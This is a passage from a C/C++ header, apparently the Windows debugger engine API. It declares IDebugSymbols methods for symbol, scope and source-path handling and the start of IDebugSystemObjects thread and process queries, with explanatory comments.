PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteTypedDataVirtual)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(OutputTypedDataVirtual)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(ReadTypedDataPhysical)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesRead\n ) PURE;\n STDMETHOD(WriteTypedDataPhysical)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in_bcount(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BytesWritten\n ) PURE;\n STDMETHOD(OutputTypedDataPhysical)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 Offset,\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG Flags\n ) PURE;\n\n // Function arguments and scope block symbols\n // can be retrieved relative to currently\n // executing code. A caller can provide just\n // a code offset for scoping purposes and look\n // up names or the caller can provide a full frame\n // and look up actual values. The values for\n // scoped symbols are best-guess and may or may not\n // be accurate depending on program optimizations,\n // the machine architecture, the current point\n // in the programs execution and so on.\n // A caller can also provide a complete register\n // context for setting a scope to a previous\n // machine state such as a context saved for\n // an exception. Usually this isnt necessary\n // and the current register context is used.\n STDMETHOD(GetScope)(\n THIS_\n __out_opt PULONG64 InstructionOffset,\n __out_opt PDEBUG_STACK_FRAME ScopeFrame,\n __out_bcount_opt(ScopeContextSize) PVOID ScopeContext,\n __in ULONG ScopeContextSize\n ) PURE;\n // If ScopeFrame or ScopeContext is non-NULL then\n // InstructionOffset is ignored.\n // If ScopeContext is NULL the current\n // register context is used.\n // If the scope identified by the given\n // information is the same as before\n // SetScope returns S_OK. If the scope\n // information changes, such as when the\n // scope moves between functions or scope\n // blocks, SetScope returns S_FALSE.\n STDMETHOD(SetScope)(\n THIS_\n __in ULONG64 InstructionOffset,\n __in_opt PDEBUG_STACK_FRAME ScopeFrame,\n __in_bcount_opt(ScopeContextSize) PVOID ScopeContext,\n __in ULONG ScopeContextSize\n ) PURE;\n // ResetScope clears the scope information\n // for situations where scoped symbols\n // mask global symbols or when resetting\n // from explicit information to the current\n // information.\n STDMETHOD(ResetScope)(\n THIS\n ) PURE;\n // A scope symbol is tied to its particular\n // scope and only is meaningful within the scope.\n // The returned group can be updated by passing it back\n // into the method for lower-cost\n // incremental updates when stepping.\n STDMETHOD(GetScopeSymbolGroup)(\n THIS_\n __in ULONG Flags,\n __in_opt PDEBUG_SYMBOL_GROUP Update,\n __out PDEBUG_SYMBOL_GROUP* Symbols\n ) PURE;\n\n // Create a new symbol group.\n STDMETHOD(CreateSymbolGroup)(\n THIS_\n __out PDEBUG_SYMBOL_GROUP* Group\n ) PURE;\n\n // StartSymbolMatch matches symbol names\n // against the given pattern using simple\n // regular expressions. The search results\n // are iterated through using GetNextSymbolMatch.\n // When the caller is done examining results\n // the match should be freed via EndSymbolMatch.\n // If the match pattern contains a module name\n // the search is restricted to a single module.\n // Pattern matching is only done on symbol names,\n // not module names.\n // All active symbol match handles are invalidated\n // when the set of loaded symbols changes.\n STDMETHOD(StartSymbolMatch)(\n THIS_\n __in PCSTR Pattern,\n __out PULONG64 Handle\n ) PURE;\n // If Buffer is NULL the match does not\n // advance.\n STDMETHOD(GetNextSymbolMatch)(\n THIS_\n __in ULONG64 Handle,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MatchSize,\n __out_opt PULONG64 Offset\n ) PURE;\n STDMETHOD(EndSymbolMatch)(\n THIS_\n __in ULONG64 Handle\n ) PURE;\n\n STDMETHOD(Reload)(\n THIS_\n __in PCSTR Module\n ) PURE;\n\n STDMETHOD(GetSymbolPath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetSymbolPath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendSymbolPath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n\n // Manipulate the path for executable images.\n // Some dump files need to load executable images\n // in order to resolve dump information. This\n // path controls where the engine looks for\n // images.\n STDMETHOD(GetImagePath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetImagePath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendImagePath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n\n // Path routines for source file location\n // methods.\n STDMETHOD(GetSourcePath)(\n THIS_\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n // Gets the nth part of the source path.\n STDMETHOD(GetSourcePathElement)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ElementSize\n ) PURE;\n STDMETHOD(SetSourcePath)(\n THIS_\n __in PCSTR Path\n ) PURE;\n STDMETHOD(AppendSourcePath)(\n THIS_\n __in PCSTR Addition\n ) PURE;\n // Uses the given file path and the source path\n // information to try and locate an existing file.\n // The given file path is merged with elements\n // of the source path and checked for existence.\n // If a match is found the element used is returned.\n // A starting element can be specified to restrict\n // the search to a subset of the path elements;\n // this can be useful when checking for multiple\n // matches along the source path.\n // The returned element can be 1, indicating\n // the file was found directly and not on the path.\n STDMETHOD(FindSourceFile)(\n THIS_\n __in ULONG StartElement,\n __in PCSTR File,\n __in ULONG Flags,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n // Retrieves all the line offset information\n // for a particular source file. Buffer is\n // first intialized to DEBUG_INVALID_OFFSET for\n // every entry. Then for each piece of line\n // symbol information Buffer[Line] set to\n // Lines offset. This produces a per-line\n // map of the offsets for the lines of the\n // given file. Line numbers are decremented\n // for the map so Buffer[0] contains the offset\n // for line number 1.\n // If there is no line information at all for\n // the given file the method fails rather\n // than returning a map of invalid offsets.\n STDMETHOD(GetSourceFileLineOffsets)(\n THIS_\n __in PCSTR File,\n __out_ecount_opt(BufferLines) PULONG64 Buffer,\n __in ULONG BufferLines,\n __out_opt PULONG FileLines\n ) PURE;\n\n // IDebugSymbols2.\n\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n // Item is specified as in VerQueryValue.\n // Module version information is only\n // available for loaded modules and may\n // not be available in all debug sessions.\n STDMETHOD(GetModuleVersionInformation)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base,\n __in PCSTR Item,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG VerInfoSize\n ) PURE;\n // Retrieves any available module name string\n // such as module name or symbol file name.\n // If Index is DEBUG_ANY_ID the base address\n // is used to look up the module instead.\n // If symbols are deferred an error will\n // be returned.\n // E_NOINTERFACE may be returned, indicating\n // no information exists.\n STDMETHOD(GetModuleNameString)(\n THIS_\n __in ULONG Which,\n __in ULONG Index,\n __in ULONG64 Base,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Returns the string name of a constant type.\n STDMETHOD(GetConstantName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG64 Value,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Gets name of a field in a struct\n // FieldNumber is 0 based index of field in a struct\n STDMETHOD(GetFieldName)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG FieldIndex,\n __out_ecount_opt(NameBufferSize) PSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Control options for typed values.\n STDMETHOD(GetTypeOptions)(\n THIS_\n __out PULONG Options\n ) PURE;\n STDMETHOD(AddTypeOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(RemoveTypeOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n STDMETHOD(SetTypeOptions)(\n THIS_\n __in ULONG Options\n ) PURE;\n\n // IDebugSymbols3.\n\n STDMETHOD(GetNameByOffsetWide)(\n THIS_\n __in ULONG64 Offset,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n STDMETHOD(GetOffsetByNameWide)(\n THIS_\n __in PCWSTR Symbol,\n __out PULONG64 Offset\n ) PURE;\n STDMETHOD(GetNearNameByOffsetWide)(\n THIS_\n __in ULONG64 Offset,\n __in LONG Delta,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n\n STDMETHOD(GetLineByOffsetWide)(\n THIS_\n __in ULONG64 Offset,\n __out_opt PULONG Line,\n __out_ecount_opt(FileBufferSize) PWSTR FileBuffer,\n __in ULONG FileBufferSize,\n __out_opt PULONG FileSize,\n __out_opt PULONG64 Displacement\n ) PURE;\n STDMETHOD(GetOffsetByLineWide)(\n THIS_\n __in ULONG Line,\n __in PCWSTR File,\n __out PULONG64 Offset\n ) PURE;\n\n STDMETHOD(GetModuleByModuleNameWide)(\n THIS_\n __in PCWSTR Name,\n __in ULONG StartIndex,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n STDMETHOD(GetSymbolModuleWide)(\n THIS_\n __in PCWSTR Symbol,\n __out PULONG64 Base\n ) PURE;\n\n STDMETHOD(GetTypeNameWide)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n // Returns the ID for a type name.\n STDMETHOD(GetTypeIdWide)(\n THIS_\n __in ULONG64 Module,\n __in PCWSTR Name,\n __out PULONG TypeId\n ) PURE;\n STDMETHOD(GetFieldOffsetWide)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in PCWSTR Field,\n __out PULONG Offset\n ) PURE;\n\n STDMETHOD(GetSymbolTypeIdWide)(\n THIS_\n __in PCWSTR Symbol,\n __out PULONG TypeId,\n __out_opt PULONG64 Module\n ) PURE;\n\n STDMETHOD(GetScopeSymbolGroup2)(\n THIS_\n __in ULONG Flags,\n __in_opt PDEBUG_SYMBOL_GROUP2 Update,\n __out PDEBUG_SYMBOL_GROUP2* Symbols\n ) PURE;\n\n STDMETHOD(CreateSymbolGroup2)(\n THIS_\n __out PDEBUG_SYMBOL_GROUP2* Group\n ) PURE;\n\n STDMETHOD(StartSymbolMatchWide)(\n THIS_\n __in PCWSTR Pattern,\n __out PULONG64 Handle\n ) PURE;\n STDMETHOD(GetNextSymbolMatchWide)(\n THIS_\n __in ULONG64 Handle,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG MatchSize,\n __out_opt PULONG64 Offset\n ) PURE;\n\n STDMETHOD(ReloadWide)(\n THIS_\n __in PCWSTR Module\n ) PURE;\n\n STDMETHOD(GetSymbolPathWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetSymbolPathWide)(\n THIS_\n __in PCWSTR Path\n ) PURE;\n STDMETHOD(AppendSymbolPathWide)(\n THIS_\n __in PCWSTR Addition\n ) PURE;\n\n STDMETHOD(GetImagePathWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(SetImagePathWide)(\n THIS_\n __in PCWSTR Path\n ) PURE;\n STDMETHOD(AppendImagePathWide)(\n THIS_\n __in PCWSTR Addition\n ) PURE;\n\n STDMETHOD(GetSourcePathWide)(\n THIS_\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG PathSize\n ) PURE;\n STDMETHOD(GetSourcePathElementWide)(\n THIS_\n __in ULONG Index,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG ElementSize\n ) PURE;\n STDMETHOD(SetSourcePathWide)(\n THIS_\n __in PCWSTR Path\n ) PURE;\n STDMETHOD(AppendSourcePathWide)(\n THIS_\n __in PCWSTR Addition\n ) PURE;\n STDMETHOD(FindSourceFileWide)(\n THIS_\n __in ULONG StartElement,\n __in PCWSTR File,\n __in ULONG Flags,\n __out_opt PULONG FoundElement,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG FoundSize\n ) PURE;\n STDMETHOD(GetSourceFileLineOffsetsWide)(\n THIS_\n __in PCWSTR File,\n __out_ecount_opt(BufferLines) PULONG64 Buffer,\n __in ULONG BufferLines,\n __out_opt PULONG FileLines\n ) PURE;\n\n STDMETHOD(GetModuleVersionInformationWide)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base,\n __in PCWSTR Item,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG VerInfoSize\n ) PURE;\n STDMETHOD(GetModuleNameStringWide)(\n THIS_\n __in ULONG Which,\n __in ULONG Index,\n __in ULONG64 Base,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n STDMETHOD(GetConstantNameWide)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG64 Value,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n STDMETHOD(GetFieldNameWide)(\n THIS_\n __in ULONG64 Module,\n __in ULONG TypeId,\n __in ULONG FieldIndex,\n __out_ecount_opt(NameBufferSize) PWSTR NameBuffer,\n __in ULONG NameBufferSize,\n __out_opt PULONG NameSize\n ) PURE;\n\n // Returns S_OK if the engine is using managed\n // debugging support when retriving information\n // for the given module. This can be expensive\n // to check.\n STDMETHOD(IsManagedModule)(\n THIS_\n __in ULONG Index,\n __in ULONG64 Base\n ) PURE;\n\n // The module name may not be unique.\n // This method returns the first match.\n STDMETHOD(GetModuleByModuleName2)(\n THIS_\n __in PCSTR Name,\n __in ULONG StartIndex,\n __in ULONG Flags,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n STDMETHOD(GetModuleByModuleName2Wide)(\n THIS_\n __in PCWSTR Name,\n __in ULONG StartIndex,\n __in ULONG Flags,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n // Offset can be any offset within\n // the module extent. Extents may\n // not be unique when including unloaded\n // drivers. This method returns the\n // first match.\n STDMETHOD(GetModuleByOffset2)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG StartIndex,\n __in ULONG Flags,\n __out_opt PULONG Index,\n __out_opt PULONG64 Base\n ) PURE;\n\n // A caller can create artificial loaded modules in\n // the engine's module list if desired.\n // These modules only serve as names for\n // a region of addresses. They cannot have\n // real symbols loaded for them; if that\n // is desired Reload can be used with explicit\n // parameters to create a true module entry.\n // The region must not be in use by any other\n // module.\n // A general reload will discard any synthetic modules.\n STDMETHOD(AddSyntheticModule)(\n THIS_\n __in ULONG64 Base,\n __in ULONG Size,\n __in PCSTR ImagePath,\n __in PCSTR ModuleName,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(AddSyntheticModuleWide)(\n THIS_\n __in ULONG64 Base,\n __in ULONG Size,\n __in PCWSTR ImagePath,\n __in PCWSTR ModuleName,\n __in ULONG Flags\n ) PURE;\n STDMETHOD(RemoveSyntheticModule)(\n THIS_\n __in ULONG64 Base\n ) PURE;\n\n // Modify the current frame used for scoping.\n // This is equivalent to the '.frame' command.\n STDMETHOD(GetCurrentScopeFrameIndex)(\n THIS_\n __out PULONG Index\n ) PURE;\n STDMETHOD(SetScopeFrameByIndex)(\n THIS_\n __in ULONG Index\n ) PURE;\n\n // Recovers JIT_DEBUG_INFO information at the given\n // address from the debuggee and sets current\n // debugger scope context from it.\n // Equivalent to '.jdinfo' command.\n STDMETHOD(SetScopeFromJitDebugInfo)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG64 InfoOffset\n ) PURE;\n\n // Switches the current debugger scope to\n // the stored event information.\n // Equivalent to the '.ecxr' command.\n STDMETHOD(SetScopeFromStoredEvent)(\n THIS\n ) PURE;\n\n // Takes the first symbol hit and outputs it.\n // Controlled with DEBUG_OUTSYM_* flags.\n STDMETHOD(OutputSymbolByOffset)(\n THIS_\n __in ULONG OutputControl,\n __in ULONG Flags,\n __in ULONG64 Offset\n ) PURE;\n\n // Function entry information for a particular\n // piece of code can be retrieved by this method.\n // The actual data returned is system-dependent.\n STDMETHOD(GetFunctionEntryByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_bcount_opt(BufferSize) PVOID Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG BufferNeeded\n ) PURE;\n\n // Given a type which can contain members\n // this method returns the type ID and offset of a\n // particular member within the type.\n // Field gives the dot-separated path\n // to the field of interest.\n STDMETHOD(GetFieldTypeAndOffset)(\n THIS_\n __in ULONG64 Module,\n __in ULONG ContainerTypeId,\n __in PCSTR Field,\n __out_opt PULONG FieldTypeId,\n __out_opt PULONG Offset\n ) PURE;\n STDMETHOD(GetFieldTypeAndOffsetWide)(\n THIS_\n __in ULONG64 Module,\n __in ULONG ContainerTypeId,\n __in PCWSTR Field,\n __out_opt PULONG FieldTypeId,\n __out_opt PULONG Offset\n ) PURE;\n\n // Artificial symbols can be created in any\n // existing module as a way to name an address.\n // The address must not already have symbol\n // information.\n // A reload will discard synthetic symbols\n // for all address regions reloaded.\n STDMETHOD(AddSyntheticSymbol)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Size,\n __in PCSTR Name,\n __in ULONG Flags,\n __out_opt PDEBUG_MODULE_AND_ID Id\n ) PURE;\n STDMETHOD(AddSyntheticSymbolWide)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Size,\n __in PCWSTR Name,\n __in ULONG Flags,\n __out_opt PDEBUG_MODULE_AND_ID Id\n ) PURE;\n STDMETHOD(RemoveSyntheticSymbol)(\n THIS_\n __in PDEBUG_MODULE_AND_ID Id\n ) PURE;\n\n // The following methods can return multiple\n // hits for symbol lookups to allow for all\n // possible hits to be returned.\n STDMETHOD(GetSymbolEntriesByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids,\n __out_ecount_opt(IdsCount) PULONG64 Displacements,\n __in ULONG IdsCount,\n __out_opt PULONG Entries\n ) PURE;\n STDMETHOD(GetSymbolEntriesByName)(\n THIS_\n __in PCSTR Symbol,\n __in ULONG Flags,\n __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids,\n __in ULONG IdsCount,\n __out_opt PULONG Entries\n ) PURE;\n STDMETHOD(GetSymbolEntriesByNameWide)(\n THIS_\n __in PCWSTR Symbol,\n __in ULONG Flags,\n __out_ecount_opt(IdsCount) PDEBUG_MODULE_AND_ID Ids,\n __in ULONG IdsCount,\n __out_opt PULONG Entries\n ) PURE;\n // Symbol lookup by managed metadata token.\n STDMETHOD(GetSymbolEntryByToken)(\n THIS_\n __in ULONG64 ModuleBase,\n __in ULONG Token,\n __out PDEBUG_MODULE_AND_ID Id\n ) PURE;\n\n // Retrieves full symbol entry information from an ID.\n STDMETHOD(GetSymbolEntryInformation)(\n THIS_\n __in PDEBUG_MODULE_AND_ID Id,\n __out PDEBUG_SYMBOL_ENTRY Info\n ) PURE;\n STDMETHOD(GetSymbolEntryString)(\n THIS_\n __in PDEBUG_MODULE_AND_ID Id,\n __in ULONG Which,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n STDMETHOD(GetSymbolEntryStringWide)(\n THIS_\n __in PDEBUG_MODULE_AND_ID Id,\n __in ULONG Which,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n // Returns all known memory regions associated\n // with the given symbol. Simple symbols will\n // have a single region starting from their base.\n // More complicated regions, such as functions\n // with multiple code areas, can have an arbitrarily\n // large number of regions.\n // The quality of information returned is highly\n // dependent on the symbolic information availble.\n STDMETHOD(GetSymbolEntryOffsetRegions)(\n THIS_\n __in PDEBUG_MODULE_AND_ID Id,\n __in ULONG Flags,\n __out_ecount_opt(RegionsCount) PDEBUG_OFFSET_REGION Regions,\n __in ULONG RegionsCount,\n __out_opt PULONG RegionsAvail\n ) PURE;\n\n // This method allows navigating within the\n // symbol entry hierarchy.\n STDMETHOD(GetSymbolEntryBySymbolEntry)(\n THIS_\n __in PDEBUG_MODULE_AND_ID FromId,\n __in ULONG Flags,\n __out PDEBUG_MODULE_AND_ID ToId\n ) PURE;\n\n // The following methods can return multiple\n // hits for source lookups to allow for all\n // possible hits to be returned.\n STDMETHOD(GetSourceEntriesByOffset)(\n THIS_\n __in ULONG64 Offset,\n __in ULONG Flags,\n __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries,\n __in ULONG EntriesCount,\n __out_opt PULONG EntriesAvail\n ) PURE;\n STDMETHOD(GetSourceEntriesByLine)(\n THIS_\n __in ULONG Line,\n __in PCSTR File,\n __in ULONG Flags,\n __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries,\n __in ULONG EntriesCount,\n __out_opt PULONG EntriesAvail\n ) PURE;\n STDMETHOD(GetSourceEntriesByLineWide)(\n THIS_\n __in ULONG Line,\n __in PCWSTR File,\n __in ULONG Flags,\n __out_ecount_opt(EntriesCount) PDEBUG_SYMBOL_SOURCE_ENTRY Entries,\n __in ULONG EntriesCount,\n __out_opt PULONG EntriesAvail\n ) PURE;\n\n STDMETHOD(GetSourceEntryString)(\n THIS_\n __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry,\n __in ULONG Which,\n __out_ecount_opt(BufferSize) PSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n STDMETHOD(GetSourceEntryStringWide)(\n THIS_\n __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry,\n __in ULONG Which,\n __out_ecount_opt(BufferSize) PWSTR Buffer,\n __in ULONG BufferSize,\n __out_opt PULONG StringSize\n ) PURE;\n // Returns all known memory regions associated\n // with the given source entry. As with\n // GetSymbolEntryOffsetRegions the regions available\n // are variable.\n STDMETHOD(GetSourceEntryOffsetRegions)(\n THIS_\n __in PDEBUG_SYMBOL_SOURCE_ENTRY Entry,\n __in ULONG Flags,\n __out_ecount_opt(RegionsCount) PDEBUG_OFFSET_REGION Regions,\n __in ULONG RegionsCount,\n __out_opt PULONG RegionsAvail\n ) PURE;\n\n // This method allows navigating within the\n // source entries.\n STDMETHOD(GetSourceEntryBySourceEntry)(\n THIS_\n __in PDEBUG_SYMBOL_SOURCE_ENTRY FromEntry,\n __in ULONG Flags,\n __out PDEBUG_SYMBOL_SOURCE_ENTRY ToEntry\n ) PURE;\n};\n\n//----------------------------------------------------------------------------\n//\n// IDebugSystemObjects\n//\n//----------------------------------------------------------------------------\n\n#undef INTERFACE\n#define INTERFACE IDebugSystemObjects\nDECLARE_INTERFACE_(IDebugSystemObjects, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n __in REFIID InterfaceId,\n __out PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugSystemObjects.\n\n // In user mode debugging the debugger\n // tracks all threads and processes and\n // enumerates them through the following\n // methods. When enumerating threads\n // the threads are enumerated for the current\n // process.\n // Kernel mode debugging currently is\n // limited to enumerating only the threads\n // assigned to processors, not all of\n // the threads in the system. Process\n // enumeration is limited to a single\n // virtual process representing kernel space.\n\n // Returns the ID of the thread on which\n // the last event occurred.\n STDMETHOD(GetEventThread)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(GetEventProcess)(\n THIS_\n __out PULONG Id\n ) PURE;\n\n // Controls implicit thread used by the\n // debug engine. The debuggers current\n // thread is just a piece of data held\n // by the debugger for calls which use\n // thread-specific information. In those\n // calls the debuggers current thread is used.\n // The debuggers current thread is not related\n // to any system thread attribute.\n // IDs for threads are small integer IDs\n // maintained by the engine. They are not\n // related to system thread IDs.\n STDMETHOD(GetCurrentThreadId)(\n THIS_\n __out PULONG Id\n ) PURE;\n STDMETHOD(SetCurrentThreadId)(\n THIS_\n __in ULONG Id\n ) PURE;\n // The current process is the process\n // that owns the current thread.\n STDMETHOD(GetCurrentProcessId)(\n THIS_\n __out PULONG Id\n ) PURE;\n // Setting the current process automatically\n // sets the current thread to the thread that\n // was last current in that process.\n STDMETHOD(SetCurrentProcessId)(\n THIS_\n __in ULONG Id\n ) PURE;\n\n // Gets the number of threads in the current process.\n STDMETHOD(GetNumberThreads)(\n THIS_\n __out PULONG Number\n ) PURE;\n // Gets thread count information for all processes\n // and the largest number of threads in a single process.\n STDMETHOD(GetTotalNumberThreads)(\n THIS_\n __out PULONG Total,\n __out PULONG LargestProcess\n ) PURE;\n STDMETHOD(GetThreadIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Gets the debugger ID for the thread\n // currently running on the given\n // processor. Only works in kernel\n // debugging.\n STDMETHOD(GetThreadIdByProcessor)(\n THIS_\n __in ULONG Processor,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // system data structure. When kernel debugging\n // this is the offset of the KTHREAD.\n // When user debugging it is the offset\n // of the current TEB.\n STDMETHOD(GetCurrentThreadDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread data structure.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current threads\n // TEB. In user mode this is equivalent to\n // the threads data offset.\n STDMETHOD(GetCurrentThreadTeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger thread ID for the given TEB.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByTeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current thread.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentThreadSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger thread ID for the given\n // system thread ID.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdBySystemId)(\n THIS_\n __in ULONG SysId,\n __out PULONG Id\n ) PURE;\n // Returns the handle of the current thread.\n // In kernel mode the value returned is the\n // index of the processor the thread is\n // executing on plus one.\n STDMETHOD(GetCurrentThreadHandle)(\n THIS_\n __out PULONG64 Handle\n ) PURE;\n // Looks up a debugger thread ID for the given handle.\n // Currently when kernel debugging this will fail\n // if the thread is not executing on a processor.\n STDMETHOD(GetThreadIdByHandle)(\n THIS_\n __in ULONG64 Handle,\n __out PULONG Id\n ) PURE;\n\n // Currently kernel mode sessions will only have\n // a single process representing kernel space.\n STDMETHOD(GetNumberProcesses)(\n THIS_\n __out PULONG Number\n ) PURE;\n STDMETHOD(GetProcessIdsByIndex)(\n THIS_\n __in ULONG Start,\n __in ULONG Count,\n __out_ecount_opt(Count) PULONG Ids,\n __out_ecount_opt(Count) PULONG SysIds\n ) PURE;\n // Returns the offset of the current processs\n // system data structure. When kernel debugging\n // this is the offset of the KPROCESS of\n // the process that owns the current thread.\n // When user debugging it is the offset\n // of the current PEB.\n STDMETHOD(GetCurrentProcessDataOffset)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given\n // system process data structure.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByDataOffset)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the offset of the current processs\n // PEB. In user mode this is equivalent to\n // the processs data offset.\n STDMETHOD(GetCurrentProcessPeb)(\n THIS_\n __out PULONG64 Offset\n ) PURE;\n // Looks up a debugger process ID for the given PEB.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetProcessIdByPeb)(\n THIS_\n __in ULONG64 Offset,\n __out PULONG Id\n ) PURE;\n // Returns the system unique ID for the current process.\n // Not currently supported when kernel debugging.\n STDMETHOD(GetCurrentProcessSystemId)(\n THIS_\n __out PULONG SysId\n ) PURE;\n // Looks up a debugger process ID for the 